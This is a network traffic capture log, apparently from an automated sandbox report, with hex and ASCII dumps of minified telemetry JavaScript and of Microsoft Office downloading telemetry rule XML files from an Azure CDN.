2024-11-16 19:12:52 UTC	16384	IN	Data Raw: 70 28 72 2e 6d 65 74 61 54 61 67 73 2c 72 2e 5f 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d Data Ascii: p(r.metaTags,r._config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()}
2024-11-16 19:12:52 UTC	16384	IN	Data Raw: 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b Data Ascii: ta-m"===t[n].name)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++
2024-11-16 19:12:52 UTC	16384	IN	Data Raw: 61 44 65 76 69 63 65 54 69 63 6b 65 74 22 2c 70 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 Data Ascii: aDeviceTicket",pg="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="
2024-11-16 19:12:52 UTC	16384	IN	Data Raw: 2c 65 5b 6d 76 5d 26 26 28 65 5b 6d 76 5d 3d 65 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d Data Ascii: ,e[mv]&&(e[mv]=ea(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:55 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:56 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:55 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 15 Nov 2024 16:53:09 GMT ETag: "0x8DD0595FBE5245A" x-ms-request-id: 2e41c694-401e-0029-6fbf-379b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191255Z-164f84587bfghdt4hC1DFWu5nn00000002zg00000000d3d6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:12:56 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-16 19:12:56 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-16 19:12:56 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-16 19:12:56 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-16 19:12:56 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-16 19:12:56 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-16 19:12:56 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-16 19:12:56 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-16 19:12:56 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-16 19:12:56 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:57 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:57 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191257Z-1866b5c5fbbxjblthC1DFW6b48000000016g0000000077fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:12:57 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:57 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:57 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:57 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6ebc7fcd-801e-00a0-42aa-372196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191257Z-164f84587bf9nk94hC1DFWerbg000000024g00000000mef3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:12:57 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:57 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:12:57 UTC	522	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:57 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 1270a440-201e-00aa-78a0-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191257Z-16547b76f7ff9zf4hC1DFW2pfc00000000x0000000000zgw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 19:12:57 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
